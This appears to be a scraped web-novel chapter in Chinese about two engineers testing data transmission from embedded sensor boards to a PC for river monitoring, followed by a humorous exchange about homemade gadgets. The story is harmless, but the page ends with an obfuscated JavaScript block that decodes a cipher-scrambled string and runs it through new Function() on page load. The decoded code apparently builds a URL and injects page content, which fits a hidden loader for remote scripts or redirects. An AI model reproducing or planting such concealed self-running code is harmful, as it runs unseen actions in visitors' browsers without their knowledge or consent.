返回

铸工先锋

首页
关灯
护眼
字体:
第9章:通信
立嵘有天接到电话。

“你好,请问是立嵘吗?”

立嵘问:“您是?”

“我是馨源。”

立嵘说:“请问有什么事。”

馨源说:“现在是要试一试,把数据从嵌入式端传到电脑端。然后,你们继续做嵌入式端,我们组继续做电脑端的程序。”

嵌入式端把数据传到电脑端有很多种方法,可以通过有线的方式和无线的方式。有线的方式可以通过串口,网线,光缆,总线。无线的方式可以通过手机模块,无线电波,短距离传输模块,蓝牙,红外。

每种方式有它们的优点和缺点。

比如远距离数据传输可以使用手机模块、电台,但这样数据是传入公网。使用点对点的通信,速度快,但传输距离近。使用有线连接就需要布线,硬件成本较高。用蓝牙或红外成本较低,但传输距离近。

立嵘说:“行,那我过去谈。”

他带着几个电路板,到了水利工程院。

立嵘说:“各个水文数据传到电脑端处理。你看可以使用什么方式?”

馨源说:“可以使用手机模块和电台。”

立嵘说:“那我们就试一试通信吧。”

立嵘先准备好传感器检测流量、压力、温度等参数,同时将数据传到嵌入时端,数据在显示屏上显示,嵌入式端再将数据通过有线和无线的方式传到电脑。可以将显示屏的数据和电脑上的数据进行比较,看传输是否正确。

确定数据应以什么格式进行传输,例如文本、二进制、JSON等。选择合适的传输协议,确保数据可靠地传输。

确保传输的数据安全,可以使用加密算法对数据进行加密,以防止数据泄露或被篡改。

确定每个数据包的大小,以便更高效地传输数据。如果数据包过大,可能会导致传输延迟和网络拥塞。如果数据量较大,可以考虑对数据进行压缩,减少传输时间和带宽消耗。

传感器沿着河道布置,数量还是很多的。一般情况下每10分钟传一次数据,但是在紧急情况下是每隔几秒就传一次数据。数据量很大,需要先在嵌入式端进行处理,将重复的无应用价值的数据,少传输或者是不传输。在紧急情况下,大量的传感器传输大量数据,这个时候就需要考虑到电脑对这些数据的并行处理,防止出现冲突和丢包的情况。

在电脑端接收数据时,需要相应的处理程序来解析和处理接收到的数据,确保数据的正确性和完整性。考虑在数据传输过程中可能出现的错误,如丢失数据包、断开连接等,需要合理的错误处理机制,出错就数据重传。根据实际需求和硬件限制,确定数据传输的速度和频率。

如果是数据出现问题,就发出报警信号,可以在电脑端显示。

先局域网调试,确保嵌入式端和电脑端之间存在稳定的网络连接,可以通过无线连接如Wi-Fi来实现数据传输。

先从嵌入式端发数据,通过串口到电脑上看,电脑可以接收到数据,这说明从嵌入式中是可以发送出去数据的。

然后再通过电脑串口向无线模块发送数据,无线模块可以将数据发出去。这说明无线模块也是工作正常的。然后通过嵌入式发数据到无线模块,发到管理员电脑。

馨源说:“奇怪了,这个时候管理员电脑收不到。”

立嵘说:“哦。我这边协议不对。修改再试试。”

立嵘修改过协议后,说:“端口打开了吗?”

馨源说:“哦。对了,端口要打开。总是忘记这个忘记那个。”

经过几次修改,嵌入式的数据能够传到电脑端了。

立嵘说:“对了,我给你看样东西。”

立嵘拿出来两个装置,比手机小一些。

上面有一些按钮,上面有个用硬质亚克力板刻的图,显示着腾城腾河的一些主要位置,是缩略图,不是像地图那样那么精确。但是可以看出,立嵘对腾河流域的特点还是做了很多功课。发送端A按下一个位置,在接收端B就能接收。B作为发送端按下一个位置,在接收端A就能接收。

馨源忍不住哈哈大笑起来。“这有啥用?”

立嵘自嘲道,“也没有太大作用,就是说,你在腾城河流的哪个位置。能够让我知道呗。然后我再回复你一下,告诉你我在哪里。”

馨源说:“那用手机不就行了?在手机上做个软件,发送位置。”

立嵘说:“你这么说,是啊,用手机软件也行。但是都用手机,那其他东西不用做了吗。”他又想了想,“这两个是一对一传数据,不经过手机网络。”

馨源说:“行。其实很多东西的功能都做到手机里了,像遥控器,照相机,阅读器。”

立嵘说:“你就当这个是工艺品。送给你。”

馨源说:“谢谢。”

其实馨源看来,他做这个东西主要是用来搞笑的。

馨源说:“你还做过哪些奇怪的东西?”

立嵘说:“我来想想,用遥控器控制灯的开关。因为在睡觉的时候,躺在床上,但是够不到墙上的开关。所以制作个灯的遥控器。”

馨源说:“怎么控制的呢?你加了一个无线控制器和继电器,使得灯的电路能导通或者断开。”

立嵘说:“不是的。我把像跷跷板的木板、继电器和控制器放在灯的开关的旁边,没有装在墙里面,接收到信号后,木板就按下开关。灯就关闭了。”

馨源说:“好麻烦,其实把装置放在开关里面,墙面上不会显得那么乱。”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();